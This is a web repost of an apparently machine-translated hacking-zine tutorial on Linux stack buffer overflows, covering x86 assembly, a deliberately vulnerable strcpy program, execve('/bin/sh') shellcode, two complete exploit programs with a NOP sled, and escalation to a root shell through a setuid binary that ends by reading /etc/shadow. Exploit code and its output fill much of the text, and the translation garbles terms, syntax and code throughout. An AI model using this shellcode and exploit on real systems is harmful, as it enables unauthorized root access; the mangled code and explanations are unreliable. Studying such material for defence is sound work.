Buffer Overflow on Linux

Sep 11, 2017 07:52 PM
636407310465096085.jpg

INTRODUCTION

~~~~~~~~~~~~

Hi readers. In this article we will try to explain in detail

what is a buffer overflow or buffer overflow, as well as how

to exploit it. Because it is a subject that requires some knowledge of

assembly we will describe a little this language, just so that it

understands what we are going to say. Well, without further ado, let's go there.

SOMETHING OF ASM

~~~~~~~~~~~

The asm is a rather simple language, but with simple I mean that

things that can be done are simple, like moving a record in another,

doing a writing in memory, etc. So it has no variables, no pointers

or logical expressions, etc ... The asm basically interacts between the

pc memory , the processor registers and the I / O ports. The

processor registers are as follows:

-EAX, EBX, ECX, EDX.

They are general purpose records. It could be said that they can be used

as variables. The EAX is called the accumulator, it is also the

default destination for some arithmetic operations, such as the division.

-ISI, EDI.

Are used as pointers index and destination respectively in operations

copy strings, that is, when you go to copy, for

example, four characters from A to B, then you put in ESI value A and EDI the

value B, and execute the copy command.

-EBP, ESP.

These records are somewhat "special". Its usefulness will explain

later.

-CS, DS, ES, SS.

These registers are used to store the address of some segment. The

CS stores the address of the segment containing the code, the DS stores

that of the data segment, and the ES is an "extra" record, you can put in the

desired value. The SS record contains the address of the

stack segment , which I'll talk about later.

-EIP.

The EIP is also called program counter or instruction pointer.

Contains the address of the next instruction to execute.

NOTE: Some readers may know ASM language in ms-dos. To the

better they are confused by the change of name of the registers. In

ms-dos, the registers were called ax, bx, cx, etc. With the appearance of the

386 records changed their length, they went from being 16 bits to 32

bits. To maintain compatibility in the language and others, the

registers ax, bx, etc, can still be used, but the

"large", 32-bit register, the "Extended" E is added. Another thing;

the registers ax, bx, etc ... can be divided into two smaller ones.

called ah and al, bx and bl, etc., which refer to the 8

highest bits of the register (ah) and the lowest 8 bits (al). A scheme to

make it clearer:

EAX (32 bits)

_____________________

/ 12345678 12345678 12345678 12345678 \

-------- --------

\ AH (8 bits) AL (8 bits) /

---------- ---------------

AX (16 bits)

MEMORY ACCESSES

~~~~~~~~~~~~~~~~~

To access memory, two "numbers" , the segment and the

offset. The segment and the displacement comes from yesteryear

and it was because in the first computers, with the registers of 16 bits not

could address a lot of memory, so we opted to divide the memory into

segments:

Segment 1: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Segment 0: 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0

^

Then, two registers were used to access memory: one containing

the segment, and another the displacement, separated by two points. The 1 of the

two segments above would be in the 0: 5 direction. So far easy, right?

This would be the "virtual" address (0: 5). To calculate the address that is

passed to the RAM (the physical address), make the following calculation:

Physical address = (segment * 16) + offset

Well, a note: before I said that EIP contained the address of the

next address to execute no ?. But I just said that to access

memory requires 2 data. The address of the code segment is

in the CS record. Therefore the address of the next address to

execute would be CS: EIP.

THE PROTECTED MODE 386

~~~~~~~~~~~~~~~~~~~~~~~~~

One of the great advances in operating systems has been to use the

protected mode to run 386 . In older OSs, like ms-dos,

you could only run one program at a time, that is, they were monotarea.

In addition that program that was running could access ALL the memory.

With the advent of multitasking and multiuser OSs (like Linux, hehe, :)the

thing is a little complicated. Now it was necessary to run

several simultaneous processes on a single processor, and in addition, those processes could not

access all the memory, if not, could read the passwords of

users from any program.

well, the 386 protected mode gives us the option to do that.

in protected mode, there are several types of code as their privileges. the

most privileged level is the Ring 0, also called administrator mode The

next level is Ring 1, which is also administrator mode but with

less privileges than Ring 0, and Ring 2 idem Ring 3 is the last

type of code, and is the least privileged. It is called user mode. In the

current S.Os only Ring 0 and Ring 3 are used.

From the code Ring 0 can be read and written throughout the memory.

So, what code is executed in Ring 0? The kernel, of course. And in Ring 3

the user processes. In code Ring 3 the accesses to memory are made in

a "somewhat" different way. In Ring 3, when a process wants to access

memory, the processor first "translates" the virtual address (segment +

offset) to a unique address, and then _mapea_ to a

physical address, following tables that manages the kernel, and are

unique and independent for each process. These tables are in

memory, and their address is in the control register 3

(cr3) of the processor. I have not put this register up because it can only

be modified by code with Ring 0 privileges, that is, that only the kernel

can modify the tables for each process (logical, not?).

Come on, a process may be trying to read from

memory location 0xbff8aecd, and it turns out that it is actually reading from position

0x6666666. That only the kernel knows. In addition, the memory that is mapped

to each process is divided into pages. Each page has its own

attributes, such as reading, writing and execution. If a process tries to

write to a page of memory in which it does not have permissions, the procesaodor

will generate a kernel exception, and this will kill the process with a SIGSEV

signal.

Also, not all memory is mapped to each process, only the one that will

use. If a process attempts to access an unallocated memory region,

the same thing happens before (SIGSEV).

One more thing, the system calls (syscalls). When a process wants to

open a file, or send a signal to another, how the hell does it do? Because it

can not write outside of its address space, it does call the

kernel. And what does he call it? Using a syscall. In linux the

0x80 interrupt is used . Just call that interrupt the system jumps to

Ring 0 code, and the kernel looks at the reg. EAX, which contains the index of

syscall. In the registers EBX, ECX, EDX, ESI and EDI are passed the parameters

of the syscall. When the system returns to Ring 3 code, the reg. EAX contains

the value returned by the syscall.

THE BATTERY (or STACK)

~~~~~~~~~~~~~~~~~

When I started talking about the ASM, I said I had no variables. But the ASM

has a memory region called a stack that a program can use to

store values, such as local variables, return addresses, and so on.

The battery is located in SS: ESP. The stack is a LIFO structure,

the first to enter is the last one that comes out (Last In, First Out). To

save a data in the stack is used the push instruction, and to get the last one

data in the stack is used pop. Let's take an example:

CS is 0 and ESP is 200.

We store EAX content in the stack.

pushl% eax

Now CS is still worth 0, but ESP is worth 196. Yes, 196, because the stack

decreases as more values ??get in. Decreases 4 because reg. EAX

is a reg. of 32 bits, that is, 4 bytes.

Now we save BX.

pushw% bx

Now ESP is 194. We subtract 2 because bx occupies 2 bytes.

At this point we have 2 values ??in the stack. If we did a pop now,

the value we would get would be the reg. bx, because he was the last to

get in .

Later I will go into detail on the local variables and

return.

SOME INSTRUCTIONS IN ASM

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ First

of all, in linux, most ASM instructions carry

a letter indicating the size of the data or record on which they act.

These letters are 3:

b: byte (8 bits)

w: word (16 bits)

l: long (32 - bit)

instructions:

mov - Moves one register to another, a memory to a register, or

a register to a position by heart.

movl% eax,% ebx # Moves the contents of the eax record (32 bits) to

# the EBX.

movb% bh, 4 # Moves the contents of register bh (8 bits) in the

# pos. memory 4.

movw 0x12,% ax # Moves 16 bits (2 bytes) from pos. from memory

# 0x12 to reg. ax

Memory references can be absolute, as above, or they

can be referenced to a record. Pe:

movl% eax, 0x12 (% ebp) # Moves EAX content to pos. of

# memory ebp + 0x12

read - Enter the second operating memory address of the first.

loyal 0x8 (% ebp),% eax # Save in eax the address 0x8 + ebp

xor - Perform a xor between the first and second operand and save the

result in the second operand.

xorl% eax,% ebx # Save in ebx the result of eax ^ ebx

or - Perform an or between the first and second operand and save the result

in the second operand.

orl% eax,% ebx # Save the eax result to ebx | ebx

and - Perform an and between the first and second operand and save the

result in the second operand.

andl% eax,% ebx # Save in ebx the result of eax & ebx

int - Launch an interrupt

int $ 0x80 # Call int 0x80. Note the $

jmp sign - Jumps to the specified direction (relative)

jmp 9 # jumps 9 bytes ahead of the current instruction.

call - Call the function that is in the specified address

(relative)

call 5 # Calls the function that is 5 bytes ahead of

# the current instruction.

inc - Increment the operand by 1

inc% ebx # ebx = ebx + 1;

dec - decrements the operand by 1

dec% ecx # ecx = ecx - 1

LOCAL VARIABLES

~~~~~~~~~~~~~~~~~

When you run a program in C, there are two types of variables. There are

global variables, which are in the data segment. And

there are also variables called local, which are called so because they are only

used in a particular function, for example a variable counter. It would be

foolish to define it as global, if the loop in which it is to be used is in

a function. The question is, where are these variables stored? They

are stored in the battery.

And another very important thing. You have to understand the concept of function. A

program is simply a sequence of bytes, which the processor will translate into

instructions that do something. When you run a program, the kernel loads it

into memory, and gives you control in your "Program Entry Point", which

is usually the start of your main () function. But as I imagine you already know,

you can not do a whole program in a sequential way, so the

functions (structured programming) are used.

A function can do something as simple as adding two numbers, and returning

its result. How do you do this? Well, suppose we are running

our program. Now it is in instruction 1. Our program will

call a function that adds two numbers that are passed as arguments.

But, how do you pass the arguments? Well they are passed through the pile, as

you see it serves for many things. Let's get back to the program. It is found in

instruction 1, CS is worth 1, SS is worth 2 and DS is worth 3. EBP and ESP are worth the same,

  1. To call the function you have to pass your two arguments first.

Well that's why we use each push.

1 push ARG_2

2 push ARG_1 The arguments are passed in reverse order

Now ESP is worth 192 (200 - 4 * 2). Now we are in the inst. 3. In this

a call to the function that adds the numbers.

3 call offsetdelafuncionsumadora

The question now is, how does the adding function know where to

jump when finalize? Put another way: when the program calls the

function, the program jumps to the code of the function, and when it ends, it

should jump to the inst. n ° 4, so the direction of the ins. n4 should be

saved somewhere. where? Well, on the pile, I made it! xD.

When a function is called automatically, the

address of the device is "pushed" in the battery . that is in front of the call.

is equivalent to

call 2 ---------------------> pushl

addressofthe_inseconds jmp 2

Okay. Let's go back to our program. After the call, the program jumps to the

code of the function. Now the function must reserve space in the stack for

its local variables, access the arguments that have been passed to it, place

the sum of the args. in EAX and return to the ins. No. 4. "It seems difficult, eh? :)

The first thing is to reserve space in the stack for your variables.

Remember how the stack is in the ins. 1 of the function:

[ARGUMENT_1 ARGUMENT_1 ARGUMENT_2 ??????

^

ESP points here

¨ How can we reserve space for variables? If you remember,

there is still a record that I have not said for what it is, the EBP. Do not guess

what is it for? ; "booking" means making a region of memory

accessible only to what we "reserve" it. If the variables

are stored in the stack, and the stack is also used for an egg of things, how

can you reserve space? By subtracting a number from ESP. For example, I'll

reserve 4 bytes in the stack above:

subl $ 4,% esp # le rest 4 to ESP

Then the stack stays like this.

4_BYTES_RESERVED ARGUMENT_1 ARGUMENT_1 ARGUMENT_2 ???

^

ESP points here

Now we can "pushe" whatever we want in the stack because our

variables are in front of ESP, and the data we "put" will not

overwrite them.

We have solved the problem of space, but there is still another.

The only reference we have to access the variables is the reg. ESP,

but ESP is used to store and remove data from the stack, so it may vary.

This is where the EBP register comes into play.

Just before subtracting the space to be reserved in the ESP stack, a

copy of ESP in EBP is made, so EBP is always worth the same, and it is

pointed as follows:

4_BYTES_RESERVADOS DIR_D_A_INS_4 ARGUMENT_1 ARGUMENT_2 ???

^ ^

ESP points here And EBP points here

Then we are left where EBP is used to reference local variables

of a function, but, what happens to the EBP value of the calling function?

That is, the function that calls our example adding function

will also have its local variables, and to reference them you will need the reg.

EBP. Where do you keep it? Well, yes, you guessed it: in the pile :).

To clarify a little all this we are going to make our sample program

in C and then unpack it. Let's go there.

*** summing program ****

#include

int sum (int a, int b)

{

int result;

result = a + b;

return result;

}

void main ()

{

sum (1, 2);

}

****************

I compile it and then unpack it (my comments between ):

# gcc suma.c -o sum

# gdb sum

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and / or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu" ...

The first thing I will do is unmount the main function

(gdb) disassemble main

Dump of assembler code for function main:

0x80483f0

: push% ebp

0x80483f1
:

0x80483f3
: push $ 0x2

0x80483f5
: push $ 0x1

0x80483f7
: call 0x80483c0

0x80483fc
: add $ 0x8,% esp

0x80483ff
: mov% ebp,% esp

0x8048401
: pop% ebp

0x8048402
: ret

End of assembler dump.

In the program in C it is seen that the only thing that does the func. main () is to

call the sum function by passing the numbers 1 and 2 as parameters.

In the first two lines:

0x80483f0

: push% ebp

0x80483f1
: mov% esp,% ebp

The program puts in the EBP stack and ESP copy in EBP, as if it were to

reserve space for your local variables, but as you see, it does not have, so

leugo has nothing left for ESP.

Then put the numbers 1 and 2 in the stack and call the function sum ():

0x80483f3

: push $ 0x2

0x80483f5
: push $ 0x1

0x80483f7
: call 0x80483c0

And the instruction:

0x80483fc

: add $ 0x8,% esp

Leave ESP as it was just before passing the args. to the func. Sum ()

Now desemsamblo sum ()

(gdb) disassemble sum

Dump of assembler code for sum function:

0x80483c0 : push% ebp EBP is saved on the stack

0x80483c1 : mov% esp ,

0x80483c3 : sub $ 0x4,% esp 4 bytes for the reserved

result variable

mov 0x8 (% ebp),% eax: 0x80483c6

0x80483c9 : mov 0xc (% ebp),% edx

0x80483cc : read (% edx,% eax, 1),% ecx

0x80483cf : mov% ecx, 0xfffffffc (% ebp)

0x80483d2 : mov 0xfffffffc (% ebp),% edx

0x80483d5 : mov% edx,% eax

0x80483d7 : jmp 0x80483e0

0x80483d9 : read 0x0 (% esi, 1), %

es 0x80483e0 : mov% ebp,% esp

0x80483e2 : pop% ebp

0x80483e3 : ret

0x80483e4 : read 0x0 (% esi),% esi

0x80483ea : read 0x0 (% edi),% edi

End of assembler dump.

(gdb) quit

I hope that by this point you understand more or less how the whole

move is in the stack and the calls to functions. Now let's go into

detail on how to modify the part of the stack that interests us from C.

We have this program:

**** prueba1.c ******** ***********

#include

int main (int argc, char * argv)

{

unsigned long * ret;

char buf 4;

if (argc> 1) strcpy (buf, argv 1);

ret = & ret;

ret + = 1;

printf ("The saved EBP value is:% 04x \ n", * ret);

ret + = 1;

printf ("The return address is:% 04x \ n", * ret);

fflush (stdout);

}

************************* ***

We compile it and run it:

# gcc test1.c -o test1

# ./prueba1

The saved EBP value is: bffffa28

The return address is: 40037213

As you can see in the source code, if there is more of an argument the program

copies it in the variable static buf, that occupies 4 bytes, without looking at the size

of the argument. What happens if we pass a second argument between 4 and

8 bytes? For when doing the strcpy () would overwrite the value of ret,

but in the next line is assigned a value to ret, so there would be no

major consequences. But if you pass an argument greater than 8 characters

, two values ??that have all the functions in the stack are overwritten: the

saved value of EBP and the return address:

I am going to pass you a 16-byte length argument

#. test1 aaaaaaaaaaaabbbb

The saved EBP value is: 61616161

The return address is: 62626262

Segmentation fault

Well what you have just observed is the basis of

buffer overflows . When you change the return address, when you reach the ins. ret from the

main () function, the program will try to jump to address 0x62626262, but

if you remember, when a memory address is not mapped, the kernel kills

the process, and that's exactly what happened.

THE BASE OF THE EXPLOITS

~~~~~~~~~~~~~~~~~~~~~~~

¨What can we do to take advantage of this? Well basically this is:

We will pass to the program an argument, so that it will overwrite the

return address with an address in the we will have placed a code

made in assembler that executes what we want. The address in

which our code must be must be in the

address space of the program, so let's take advantage of the fact that the buf variable

is in its address space, and in the first bytes of the argument

we put our code, and in the last four we put the address of the

variable buf. The catch is that we do not know exactly what its direction,

because it depends on the direction of the stack, but it happens that the

values ??that the stack takes are very similar (in the same OS), so

we will test with the direction of the program stack exploit, and if it does not

work we will try to subtract offsets to the dir. to find the address

of buf (fuck that sentence longer :).

First let the code. we want to run? Well , you'll likely

run a shell, and from the shell to execute whatever comes to us from the webs.

First let to make an assembler code that executes a shell.

To run the shell we will make a system call that tells the

kernel that we want to execute something; obviously the only thing that counts is

execve (). execve () takes three arguments:

  • pointer to a string of characters with the complete path of the program to

execute.

  • Pointer to an array of arguments finished in NULL that will be the ones that are

passed to the program that we are going to execute.

  • Pointer to an array with environment variables.

Okay. Well with this we can do the code in assembler, but we lack

one thing:

Pointers point to a memory address (NOT JUDGE !!), but we are

going to have the code in a local variable, so we do not know

completely the address of the strings that we will pass to

execve (). How can we find out your address? For someone very clever (not know

who it was, but it sure is very clever :)came up with this:

  • Before the code that calls execve planted a jmp to jump right

behind the region where we have the strings.

(Note: strings = strings of characters)

  • The instruction to which we have jumped is a call to the instruction that is in

front of the jmp, that is, that we return to the inst before the jmp

  • What do we get with this? call,

the absoluta address of the next instance of the call is stored in the stack, and what is in

front of the call?

  • Problem solved. We already have the address in the stack. Just do

pop% x_region and we will have in that reg. the dir. that we were looking for.

Oh, I forgot. Most buffer overruns occur

when copying strings with strcpy (). strcpy () to find a 0

in the source string, so be careful to put 0s in the shellcode. In addition, if

the call to execve () fails, the program will give a segmentation fault, so

to avoid it we will add a call to exit just after the call to

execve ().

To make our exploit we have to use a vulnerable program. Well since

we have test1.c we will use it (q taka¤o soi :)But let's

increase the size of your buf variable to 1024 characters to fit

the shellcode.

Test1.c would look like this:

**** prueba2.c ***************** **

#include

int main (int argc, char * argv)

{

unsigned long * ret;

char buf 1024;

if (argc> 1) strcpy (buf, argv 1);

ret = & ret;

ret + = 1;

printf ("The saved EBP value is:% 04x \ n", * ret);

ret + = 1;

printf ("The return address is:% 04x \ n", * ret);

fflush (stdout);

}

************************* ***

And the exploit is this: (commented of course:)

*******************

#include

#include

#include

/ *

  • This function has the asm code that will be used to execute the shell
  • /

void shell ()

{

_asm ??_ ("

jmp 0x1f

popl% edi

movl% edited,% ebx

xorl% eax% eax

movb% al, 0x7 (% edi)

movl% edi, 0x8 (% edi)

movl% eax, 0xc (% edi)

loyal 0x8 (% edi),% ecx

loyal 0xc edi),% edx

movb $ 0xb,% eax

int $ 0x80

xorl% ebx,% ebx

movl% ebx,% eax

inc% eax

int $ 0x80

call -0x24

.ascii \ "/ bin / sh0 \"

.byte 0x00

")

}}

/ *

  • Pointer to the beginning of the shellcode I put" + 3 "to skip the

push ebp and mov esp, ebp "instructions of the shell function ()

  • /

char shellcode = (char ) & shell + 3;

/ *

  • This function returns the value of the esp
  • /

unsigned long get_sp ()

{

_asm _ ( "movl% esp,% eax");

}

int main (int argc,char * argv)

{

char * args 3;

char evil_buf 1036;

/ * 1036 because = 1024 buffer length + 4 variable ret +

4 EBP saved + 4 EIP * /

unsigned long * lptr;

unsigned long ret;

int offset = 0;

printf ("Usage: \ n");

printf ("\ t% s offset \ n \ n", argv 0);

if (argc> 1) offset = atoi (argv 1);

memset (evil_buf, 1, 1032);

strncpy (evil_buf, shellcode, strlen (shellcode) - 1);

lptr = (unsigned long *) & evil_buf 1032;

ret = get_sp () - offset;

  • lptr = ret;

args 0 = "./test2";

args 1 = evil_buf;

args 2 = NULL;

printf ("Exploiting ... \ n");

fflush (stdout);

execve (args 0, args, NULL);

perror ("execve ()");

}

************************

Now we compile and execute:

# gcc test2.c -o test2

# gcc exploit1.c -o exploit1

# ./exploit1

Usage:

./exploit offset

Exploiting ...

The saved EBP value is: 1010101

The return address is: bffff6a4

Segmentation fault

Ummm ... It seems that it does not work .... No man, what happens is that the

return address we use does not point justo at the beginning of our

shellcode, so we will have to try random offsets until

find the good. But like that ousasunscriptotemueresdeasco

we will use the NOPS. NOPS are instructions that do nothing. They are used

to calculate and enter delays. So we will use them

as follows:

  • Just before the code in ASM that executes the shell we will put a egg

of nops followed, so, if the return address points on that range

of NOPS the races running all give with our code, so that

the chances of finding a good offset multiply

considerably.

The new exploit is this:

***** exploit2.c *************

#include < stdio.h>

#include

#include

/ *

  • This function has the code in asm that will be used to execute the shell
  • /

void shell ()

{

_asm ??_ ("

jmp 0x1f

popl% edi

movl% edi,% ebx

xorl% eax,% eax

movb% to, 0x7 (% edi)

movl% edi, 0x8 (% edi)

movl% eax, 0xc (% edi)

loyal 0x8 (% edi),% ecx

loyal 0xc (% edi),% edx

movb $ 0xb,% eax

int $ 0x80

xorl% ebx,% ebx

movl% ebx,% eax

inc% eax

int $ 0x80

call -0x24

.ascii \ "/ bin / SH0 \"

.byte 0x00

");

}

/ *

. * Pointer to start of Shellcode Pongo" + 3 "to skip the

  • instructions" mov esp push ebp and, ebp "of the shell function ()
  • /

char shellcode = (char ) & shell + 3;

/ *

  • This function returns the value of the esp
  • /

unsigned long get_sp ()

{

_asm ??_ (" movl% eax ");

}

int main (int argc, char * argv)

{

char * args 3;

evil_buf char 1036;

/ * 1036 = 1024 because buffer length + 4 ret Variable +

4 saved EBP + 4 EIP * /

unsigned long * lptr;

unsigned long ret;

int offset = 0;

printf ("Usage: \ n");

printf ("\ t% s offset \ n \ n", argv 0);

if (argc> 1) offset = atoi (argv 1);

memset (evil_buf, 0x90, 1032);

strncpy (evil_buf + 1000-strlen (shellcode), shellcode, strlen (shellcode) - 1);

lptr = (unsigned long *) & evil_buf 1032;

ret = get_sp () - offset;

  • lptr = ret;

args 0 = "./test2";

args 1 = evil_buf;

args 2 = NULL;

printf ("Exploiting ... \ n");

fflush (stdout);

execve (args 0, args, NULL);

perror ("execve ()");

# gcc exploit2.c -o exploit2

# ./exploit -400

Usage:

./exploit offset

Exploiting ...

The saved EBP value is: 90909090

The return address is: bffff768

sh-2.03 #

Cooo, ya it works! :)If you try, you will see that there are now a lot of

valid offsets .

Well, this is basically a buffer overflow. There are a lot of

variants, because they are not always so easy to exploit, for example,

sometimes you have to curry a shell without alphanumeric letters, or without a

specific character ... Also a type of overflow where the zone of

memory that you overwrite is not in the heap, if not in the heap, and there is no

return address, so you have to engineer them in another way. Maybe

for another article :)

SOMETHING ABOUT UNIX PROCESSES

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

We have seen how a fairly simple buffer overflow works , and we

premetia load / bin / sh, ¨But as that user runs? What permissions will I have

in the system? The user will be the same, and logically the premise

also. When we in UNIX load a process it is associated with

a PID (process identifier), a UID (

real user identifier ), an EUID (effective user identifier), a GID

of real group) and an EGID (effective user identifier). The UID and

GUID of the process are the same as those of the user

executing the process, and the EUID and EGID mark the

process privileges . The most normal is that UID and EUID (like GID and EGID)

match, but not always, there are situations in which EUID and EGID

take as value the UID and GID that has the file. When does

this happen ? When the file to be executed has the setsuid enabled (chmod + s

). All this seems very complicated but it's really very simple,

let's look at it with some examples:

--- // m_ids.c / ---

#include

#include

main () {

printf ("The UID, EUID, GID and EGID values ??of this process are: \ n");

printf ("UID =% d \ n", getuid ());

printf ("EUID =% d \ n", geteuid ());

printf ("GID =% d \ n", getgid ());

printf ("EGID =% d \ n", getegid ());

}

// // m_ids.c / ---

We look at the user we are working with and compile ...

# whoami

root

# gcc mids.c -o mids

# ./m_ids

The UID, EUID, GID and EGID values of this process are:

UID = 0

EUID = 0

GID = 0

EGID = 0

#

Logically, UID, EUID, GID, EGID, are worth 0, since the

system administrator has the most control over the system,

if we execute that same process with another user? Let's prove:

First we change the permissions so that any user can execute this

file.

# chmod 711 m_ids

Now we change to another user (UID, and different user GID).

#su ripe

$ ./m_ids

values UID, EUID, GID and EGID of this process are:

uid = 500

EUID = 500

GID = 500

EGID = 500

#

How can the power the process executed has changed, as

happens to have the same power that the user "ripe" has on the system

"not easy? Let's see what happens if we activate setsuid in m_ids.

First we have to return to be the owners of the file to be able to

use chmod with the file.

$ exit

Setsuid ON :)

# chmod + s m_ids

Again we are metamorphosing and executing the file.

# its ripe

$ ./m_ids

The UID, EUID, GID and EGID values ??of this process are:

UID = 500

EUID = 0

GID = 500

EGID = 0

#

We clearly see that in this case UID and EUID do not match (neither

do GID and EGID), this is because the setsuid EUID and EGID

take the values ??UID i GID of the file respectively, and because

m_ids belongs to the user "root" (UID = 0) and the group "root" (GID = 0),

any user who executes said file will do it with

"root" privileges, this means that any calls that process to the

system will do as "root" (UID = 0).

I hope it has become clear the use of setsuid (chmod + s

), in case of doubt send an email to 7a69ezine@mixmail.com or

to ripe@mixmail.com.

LET'S GO BACK TO THE PREVIOUS EXAMPLE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Returning to the example given by Doing, we get a

binary file to run / bin / sh, but as you can see, this does not have (in

principle any usefulness, as we can not at any time improve

our privileges in the system).

# su ripe

$ ./exploit2 1

Usage:

./exploit2 offset

Exploiting ...

The saved EBP value is: 90909090

The return address is: 7ffff8d7

Bash $ cat / etc / shadow

cat: / etc / shadow: Permission denied

Well go the hell ... no I get nothing.

Let's make a couple of modifications to the program "test2.c"

--- // test3.c // ---

#include

int main (int argc, char * argv ) {

unsigned log * ret;

char buf 1024

if (argc> 1) strcpy (buf, argv 1);

printf ("The UID, GID, EUID and EGID of this process are: \ n");

printf ("UID =% d \ n", getuid ());

printf ("GID =% d \ n", getgid ());

printf ("

printf ("EGID =% d \ n", getegid ());

ret = & ret;

ret + = 1;

printf ("The saved EBP value is:% 04x \ n", * ret);

rer + = 1;

printf ("The return address is:% 0ax \ n", * ret);

fflush (stdout);

}

--- // test3.c // --- We

compile: ->

$ gcc test3.c -o test3

Now you will have to make a small modification to the exploit as well.

Since this will now have to exploit "test3" and not "test2",

you must change the line args 0 = "./test2", by the line

"args 0 =" ./test.3 "We are ready to see what happens

$ ./exploit2 1

Use:

.

The UID, GID, EUID, and EGID of this process are:

UID = 500;

GID = 500;

EUID = 500;

EGID = 500;

The value of EBP saved is: 90909090

The return address is: 7ffff8ba

bash $

We see "test3" has been executed with EUID = 500 and EGID = 500 (the same as

the user has ripe), so the bash we have achieved opening will have

these privileges ... bad bad, I have not gained anything (by now you should

know why : P).

So "test3" can not be exploited to gain more privileges? Well

as it is not the situation, then everyone and that "test3" is vulnerable

this is executed with the same privileges as "exploit2", which has been

called by the user "ripe" (UID = 500, GID = 500). However, if "test3"

has setsuid enabled .... Let's see what happens.

# whoami

root

# chmod + s test3

# your ripe

$ ./exploit2 69

Usage:

./exploit2 offset

Exploiting ...

The UID, GID, EUID, and EGID of this process are:

UID = 500;

GID = 500;

EUID = 0;

EGID = 0;

The value of EBP saved is: 90909090

The return address is: 7ffff893

bash # cat / etc / shadow

root: 4rTGBh & hn & / Hlaa & mdeK23f12eQrUJha: 11125: 0: 99999 :::

bin: *: 11125: 0: 99999 :::

... (etc, etc : P)

Now we see that the process is executed with EUID = 0 and EGID = 0, so the

call to / bin / sh will be done as root , so that tachaaa! we are given

a bash with root privileges. Not bad "Now what do I do? This is up

to you.

WHAT APPLICATIONS DOES IT ALL THIN?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So, that applications are vulnerable to this kind of attacks ? Well,

I think it's clear, any application with setsuid enabled and

buffer overflowed. If you detect a vulnerable application on

your system the solution is very simple, just disable the setsuid

(chmod -s ).

-doing&rape

greetings

Related Articles

637263493835297420.jpg

How to Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)

636455706472146367.jpg

How to Hide DDE-Based Attacks in MS Word

Comments

No Comments Exist

Be the first, drop a comment!